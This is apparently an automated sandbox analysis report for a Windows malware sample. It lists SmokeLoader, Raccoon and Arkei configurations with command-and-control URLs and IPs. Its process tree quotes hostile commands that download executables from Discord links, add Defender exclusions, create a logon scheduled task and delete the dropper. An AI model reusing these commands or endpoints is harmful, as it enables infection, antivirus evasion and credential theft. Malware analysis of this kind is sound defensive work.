Analysis
-
max time kernel
152s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
18-01-2022 08:30
Static task
static1
General
-
Target
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe
-
Size
294KB
-
MD5
eea0637c21e6da25db4e9e03f05feb35
-
SHA1
b8e324b3620940c1afcc5726a2aa3d26bd6b6564
-
SHA256
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b
-
SHA512
c218c33b908cab693401427e7d132d675d549dce767a75fa5db5ebf501b90a770c1483f7e3402fed16fc82303996eeb026509b6c52afd212d39d524adcfd0b3c
Malware Config
Extracted
smokeloader
2020
http://host-data-coin-11.com/
http://file-coin-host-12.com/
Extracted
raccoon
1.8.5
470193d69fd872b73819c5e70dc68242c10ccbce
-
url4cnc
http://185.163.204.22/capibar
http://178.62.113.205/capibar
https://t.me/capibar
Extracted
arkei
Default
http://file-file-host4.com/tratata.php
Signatures
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 7 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription pid process target process PID 3564 created 792 3564 WerFault.exe 56FF.exe PID 4072 created 3636 4072 WerFault.exe 5ED0.exe PID 1308 created 3636 1308 WerFault.exe 5ED0.exe PID 364 created 1544 364 WerFault.exe 7354.exe PID 2164 created 1544 2164 WerFault.exe 7354.exe PID 1532 created 3240 1532 WerFault.exe 7961.exe PID 3860 created 3888 3860 WerFault.exe explorer.exe -
Arkei Stealer Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/3240-199-0x00000000001E0000-0x00000000001FC000-memory.dmp family_arkei behavioral1/memory/3240-200-0x0000000000400000-0x000000000045B000-memory.dmp family_arkei -
Downloads MZ/PE file
-
Executes dropped EXE 19 IoCs
Processes:
F13E.exeF13E.exe5299.exe56FF.exe5ED0.exe6912.exe7354.exe76DF.exe7961.exeextd.exeextd.exe7C8E.exeextd.exe1.exemn.exeextd.exe7C8E.exeservices32.exesihost32.exepid process 2068 F13E.exe 3816 F13E.exe 1952 5299.exe 792 56FF.exe 3636 5ED0.exe 1564 6912.exe 1544 7354.exe 452 76DF.exe 3240 7961.exe 2484 extd.exe 1008 extd.exe 60 7C8E.exe 3652 extd.exe 3640 1.exe 3960 mn.exe 1644 extd.exe 3956 7C8E.exe 2112 services32.exe 3068 sihost32.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe upx C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe upx -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
7C8E.exe7961.exe76DF.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation 7C8E.exe Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation 7961.exe Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation 76DF.exe -
Loads dropped DLL 3 IoCs
Processes:
7961.exepid process 3240 7961.exe 3240 7961.exe 3240 7961.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 3 IoCs
Processes:
conhost.execonhost.exedescription ioc process File created C:\Windows\system32\services32.exe conhost.exe File opened for modification C:\Windows\system32\services32.exe conhost.exe File created C:\Windows\system32\Microsoft\Telemetry\sihost32.exe conhost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
Processes:
6912.exemn.exeservices32.exepid process 1564 6912.exe 3960 mn.exe 3960 mn.exe 3960 mn.exe 2112 services32.exe 2112 services32.exe 2112 services32.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exeF13E.exe7C8E.exedescription pid process target process PID 2432 set thread context of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2068 set thread context of 3816 2068 F13E.exe F13E.exe PID 60 set thread context of 3956 60 7C8E.exe 7C8E.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 7 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4052 792 WerFault.exe 56FF.exe 3716 3636 WerFault.exe 5ED0.exe 3860 3636 WerFault.exe 5ED0.exe 3876 1544 WerFault.exe 7354.exe 2008 1544 WerFault.exe 7354.exe 3200 3240 WerFault.exe 7961.exe 1940 3888 WerFault.exe explorer.exe -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe7C8E.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7C8E.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7C8E.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 7C8E.exe -
Checks processor information in registry 2 TTPs 23 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe7961.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 7961.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 7961.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 2 IoCs
Processes:
timeout.exetimeout.exepid process 2216 timeout.exe 2944 timeout.exe -
Enumerates system info in registry 2 TTPs 14 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exepid process 1764 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe 1764 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2412 -
Suspicious behavior: MapViewOfSection 32 IoCs
Processes:
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe7C8E.exepid process 1764 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe 3956 7C8E.exe 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 2412 -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
F13E.exeF13E.exeWerFault.exe7C8E.exepowershell.exe6912.exe1.exedescription pid process Token: SeDebugPrivilege 2068 F13E.exe Token: SeDebugPrivilege 3816 F13E.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeRestorePrivilege 4052 WerFault.exe Token: SeBackupPrivilege 4052 WerFault.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeDebugPrivilege 60 7C8E.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeDebugPrivilege 1948 powershell.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeDebugPrivilege 1564 6912.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeDebugPrivilege 3640 1.exe Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 Token: SeShutdownPrivilege 2412 Token: SeCreatePagefilePrivilege 2412 -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exeF13E.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe76DF.exeWerFault.execmd.exe7C8E.exedescription pid process target process PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2432 wrote to memory of 1764 2432 e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe PID 2412 wrote to memory of 2068 2412 F13E.exe PID 2412 wrote to memory of 2068 2412 F13E.exe PID 2412 wrote to memory of 2068 2412 F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2068 wrote to memory of 3816 2068 F13E.exe F13E.exe PID 2412 wrote to memory of 1952 2412 5299.exe PID 2412 wrote to memory of 1952 2412 5299.exe PID 2412 wrote to memory of 1952 2412 5299.exe PID 2412 wrote to memory of 792 2412 56FF.exe PID 2412 wrote to memory of 792 2412 56FF.exe PID 2412 wrote to memory of 792 2412 56FF.exe PID 3564 wrote to memory of 792 3564 WerFault.exe 56FF.exe PID 3564 wrote to memory of 792 3564 WerFault.exe 56FF.exe PID 2412 wrote to memory of 3636 2412 5ED0.exe PID 2412 wrote to memory of 3636 2412 5ED0.exe PID 2412 wrote to memory of 3636 2412 5ED0.exe PID 4072 wrote to memory of 3636 4072 WerFault.exe 5ED0.exe PID 4072 wrote to memory of 3636 4072 WerFault.exe 5ED0.exe PID 1308 wrote to memory of 3636 1308 WerFault.exe 5ED0.exe PID 1308 wrote to memory of 3636 1308 WerFault.exe 5ED0.exe PID 2412 wrote to memory of 1564 2412 6912.exe PID 2412 wrote to memory of 1564 2412 6912.exe PID 2412 wrote to memory of 1564 2412 6912.exe PID 2412 wrote to memory of 1544 2412 7354.exe PID 2412 wrote to memory of 1544 2412 7354.exe PID 2412 wrote to memory of 1544 2412 7354.exe PID 364 wrote to memory of 1544 364 WerFault.exe 7354.exe PID 364 wrote to memory of 1544 364 WerFault.exe 7354.exe PID 2412 wrote to memory of 452 2412 76DF.exe PID 2412 wrote to memory of 452 2412 76DF.exe PID 452 wrote to memory of 3436 452 76DF.exe cmd.exe PID 452 wrote to memory of 3436 452 76DF.exe cmd.exe PID 2164 wrote to memory of 1544 2164 WerFault.exe 7354.exe PID 2164 wrote to memory of 1544 2164 WerFault.exe 7354.exe PID 2412 wrote to memory of 3240 2412 7961.exe PID 2412 wrote to memory of 3240 2412 7961.exe PID 2412 wrote to memory of 3240 2412 7961.exe PID 3436 wrote to memory of 2484 3436 cmd.exe extd.exe PID 3436 wrote to memory of 2484 3436 cmd.exe extd.exe PID 3436 wrote to memory of 1008 3436 cmd.exe extd.exe PID 3436 wrote to memory of 1008 3436 cmd.exe extd.exe PID 2412 wrote to memory of 60 2412 7C8E.exe PID 2412 wrote to memory of 60 2412 7C8E.exe PID 2412 wrote to memory of 60 2412 7C8E.exe PID 3436 wrote to memory of 3652 3436 cmd.exe extd.exe PID 3436 wrote to memory of 3652 3436 cmd.exe extd.exe PID 60 wrote to memory of 1948 60 7C8E.exe powershell.exe PID 60 wrote to memory of 1948 60 7C8E.exe powershell.exe PID 60 wrote to memory of 1948 60 7C8E.exe powershell.exe PID 3436 wrote to memory of 3640 3436 cmd.exe 1.exe PID 3436 wrote to memory of 3640 3436 cmd.exe 1.exe PID 3436 wrote to memory of 3640 3436 cmd.exe 1.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe"C:\Users\Admin\AppData\Local\Temp\e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe"C:\Users\Admin\AppData\Local\Temp\e004a189322478ae8ce319d424b23db9bec94807656817958b716b90af6c1c1b.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\F13E.exeC:\Users\Admin\AppData\Local\Temp\F13E.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\F13E.exeC:\Users\Admin\AppData\Local\Temp\F13E.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\5299.exeC:\Users\Admin\AppData\Local\Temp\5299.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\56FF.exeC:\Users\Admin\AppData\Local\Temp\56FF.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 792 -s 6002⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 792 -ip 7921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\5ED0.exeC:\Users\Admin\AppData\Local\Temp\5ED0.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 4442⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 4522⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3636 -ip 36361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3636 -ip 36361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\6912.exeC:\Users\Admin\AppData\Local\Temp\6912.exe1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\7354.exeC:\Users\Admin\AppData\Local\Temp\7354.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 4442⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 4522⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1544 -ip 15441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\76DF.exeC:\Users\Admin\AppData\Local\Temp\76DF.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\77D5.bat C:\Users\Admin\AppData\Local\Temp\76DF.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/930869139558522913/932878390258720818/1.exe" "1.exe" "" "" "" "" "" ""3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/930869139558522913/930869187189014538/mn.exe" "mn.exe" "" "" "" "" "" ""3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\12824\1.exe1.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\12824\mn.exemn.exe3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\12824\mn.exe"4⤵
- Drops file in System32 directory
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"6⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Windows\system32\services32.exe"6⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\services32.exe"5⤵
-
C:\Windows\system32\services32.exeC:\Windows\system32\services32.exe6⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\services32.exe"7⤵
- Drops file in System32 directory
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"9⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"9⤵
-
C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"C:\Windows\system32\Microsoft\Telemetry\sihost32.exe"8⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost32"9⤵
-
C:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\77D3.tmp\77D4.tmp\extd.exe "" "" "" "" "" "" "" "" ""3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1544 -ip 15441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7961.exeC:\Users\Admin\AppData\Local\Temp\7961.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7961.exe" & exit2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 53⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3240 -s 14242⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Users\Admin\AppData\Local\Temp\7C8E.exeC:\Users\Admin\AppData\Local\Temp\7C8E.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAGMAIAB0AGkAbQBlAG8AdQB0ACAAMQA5AA==2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout 193⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 194⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\AppData\Local\Temp\7C8E.exeC:\Users\Admin\AppData\Local\Temp\7C8E.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 3240 -ip 32401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
